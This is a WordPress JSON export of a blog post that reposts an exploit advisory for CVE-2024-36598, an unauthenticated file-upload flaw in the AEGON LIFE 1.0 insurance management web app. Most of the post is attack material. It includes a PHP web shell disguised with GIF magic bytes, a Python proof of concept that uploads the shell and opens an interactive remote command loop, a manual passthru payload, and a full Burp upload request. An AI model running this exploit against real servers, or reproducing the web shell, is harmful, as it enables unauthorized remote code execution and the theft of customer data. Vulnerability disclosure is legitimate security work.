{"id":57502,"date":"2024-06-14T18:59:31","date_gmt":"2024-06-14T15:59:31","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179087\/aegonlife10-exec.txt"},"modified":"2024-06-14T18:59:31","modified_gmt":"2024-06-14T15:59:31","slug":"aegon-life-1-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/aegon-life-1-0-remote-code-execution\/","title":{"rendered":"AEGON LIFE 1.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)<br \/># Exploit Author: Aslam Anwar Mahimkar<br \/># Date: 18-05-2024<br \/># Category: Web application<br \/># Vendor Homepage: https:\/\/projectworlds.in\/<br \/># Software Link: https:\/\/projectworlds.in\/life-insurance-management-system-in-php\/<br \/># Version: AEGON LIFE v1.0<br \/># Tested on: Linux<br \/># CVE: CVE-2024-36598<\/p>\n<p># Description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image\/gif magic bytes in payload.<\/p>\n<p>-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.<\/p>\n<p># Payload:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>payload = &#8220;GIF89a;'&lt;?php echo shell_exec($_GET[\\&#8217;cmd\\&#8217;]); ?&gt;'&#8221;<\/p>\n<p># RCE via executing exploit:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p># Step : run the exploit in python with this command: python3 shell.py http:\/\/localhost\/lims\/<br \/># will lead to RCE shell.<\/p>\n<p>POC<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>import argparse<br \/>import random<br \/>import requests<br \/>import string<br \/>import sys<\/p>\n<p>parser = argparse.ArgumentParser()<br \/>parser.add_argument(&#8216;url&#8217;, action=&#8217;store&#8217;, help=&#8217;The URL of the target.&#8217;)<br \/>args = parser.parse_args()<\/p>\n<p>url = args.url.rstrip(&#8216;\/&#8217;)<br \/>random_file = &#8221;.join(random.choice(string.ascii_letters + string.digits) for i in range(10))<\/p>\n<p>payload = &#8220;GIF89a;'&lt;?php echo shell_exec($_GET[\\&#8217;cmd\\&#8217;]); ?&gt;'&#8221;<\/p>\n<p>file = {&#8216;fileToUpload&#8217;: (random_file + &#8216;.php&#8217;, payload, &#8216;text\/php&#8217;)}<br \/>print(&#8216;&gt; Attempting to upload PHP web shell&#8230;&#8217;)<br \/>r = requests.post(url + &#8216;\/insertClient.php&#8217;, files=file, data={&#8216;agent_id&#8217;:&#8221;}, verify=False)<br \/>print(&#8216;&gt; Verifying shell upload&#8230;&#8217;)<br \/>r = requests.get(url + &#8216;\/uploads\/&#8217; + random_file + &#8216;.php&#8217;, params={&#8216;cmd&#8217;:&#8217;echo &#8216; + random_file}, verify=False)<\/p>\n<p>if random_file in r.text:<br \/>print(&#8216;&gt; Web shell uploaded to &#8216; + url + &#8216;\/uploads\/&#8217; + random_file + &#8216;.php&#8217;)<br \/>print(&#8216;&gt; Example command usage: &#8216; + url + &#8216;\/uploads\/&#8217; + random_file + &#8216;.php?cmd=whoami&#8217;)<br \/>launch_shell = str(input(&#8216;&gt; Do you wish to launch a shell here? (y\/n): &#8216;))<br \/>if launch_shell.lower() == &#8216;y&#8217;:<br \/>while True:<br \/>cmd = str(input(&#8216;RCE $ &#8216;))<br \/>if cmd == &#8216;exit&#8217;:<br \/>sys.exit(0)<br \/>r = requests.get(url + &#8216;\/uploads\/&#8217; + random_file + &#8216;.php&#8217;, params={&#8216;cmd&#8217;:cmd}, verify=False)<br \/>print(r.text)<br \/>else:<br \/>if r.status_code == 200:<br \/>print(&#8216;&gt; Web shell uploaded to &#8216; + url + &#8216;\/uploads\/&#8217; + random_file + &#8216;.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.&#8217;)<br \/>else:<br \/>print(&#8216;&gt; Web shell failed to upload! The web server may not have write permissions.&#8217;)<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>### Can also performed manually.<\/p>\n<p>Payload:<br \/>&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>GIF89a;<br \/>&lt;?php<br \/>echo&#8221;&lt;pre&gt;&#8221;;<br \/>passthru($_GET[&#8216;cmd&#8217;]);<br \/>echo&#8221;&lt;pre&gt;&#8221;;<br \/>?&gt;<\/p>\n<p># Attack Vectors:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>After uploading malicious image can access it to get the shell<\/p>\n<p>http:\/\/localhost\/lims\/uploads\/shell2.gif.php?cmd=id<\/p>\n<p>Burp Suit Request<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>POST \/lims\/insertClient.php HTTP\/1.1<br \/>Host: localhost<br \/>Content-Length: 2197<br \/>Cache-Control: max-age=0<br \/>sec-ch-ua: <br \/>sec-ch-ua-mobile: ?0<br \/>sec-ch-ua-platform: &#8220;&#8221;<br \/>Upgrade-Insecure-Requests: 1<br \/>Origin: http:\/\/localhost<br \/>Content-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundary5plGALZGPOOdBlF0<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.5735.134 Safari\/537.36<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-User: ?1<br \/>Sec-Fetch-Dest: document<br \/>Referer: http:\/\/localhost\/lims\/addClient.php<br \/>Accept-Encoding: gzip, deflate<br \/>Accept-Language: en-US,en;q=0.9<br \/>Connection: close<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;client_id&#8221;<\/p>\n<p>1716015032<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;client_password&#8221;<\/p>\n<p>Password<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;name&#8221;<\/p>\n<p>Test<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;fileToUpload&#8221;; filename=&#8221;shell2.gif.php&#8221;<br \/>Content-Type: application\/x-php<\/p>\n<p>GIF89a;<br \/>&lt;?php<br \/>echo&#8221;&lt;pre&gt;&#8221;;<br \/>passthru($_GET[&#8216;cmd&#8217;]);<br \/>echo&#8221;&lt;pre&gt;&#8221;;<br \/>?&gt;<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;sex&#8221;<\/p>\n<p>Male<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;birth_date&#8221;<\/p>\n<p>1\/1\/1988<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;maritial_status&#8221;<\/p>\n<p>M<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nid&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;phone&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;address&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;policy_id&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;agent_id&#8221;<\/p>\n<p>Agent007<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_id&#8221;<\/p>\n<p>1716015032-275794639<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_name&#8221;<\/p>\n<p>Test1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_sex&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_birth_date&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_nid&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_relationship&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;priority&#8221;<\/p>\n<p>1<\/p>\n<p>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<br \/>Content-Disposition: form-data; name=&#8221;nominee_phone&#8221;<\/p>\n<p>1<br \/>&#8212;&#8212;WebKitFormBoundary5plGALZGPOOdBlF0<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE)# Exploit Author: Aslam Anwar Mahimkar# Date: 18-05-2024# Category: Web application# Vendor Homepage: https:\/\/projectworlds.in\/# Software Link: https:\/\/projectworlds.in\/life-insurance-management-system-in-php\/# Version: AEGON LIFE v1.0# Tested on: Linux# CVE: CVE-2024-36598 # Description:&#8212;&#8212;&#8212;&#8212;&#8212;- -An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57502","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57502","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57502"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57502\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}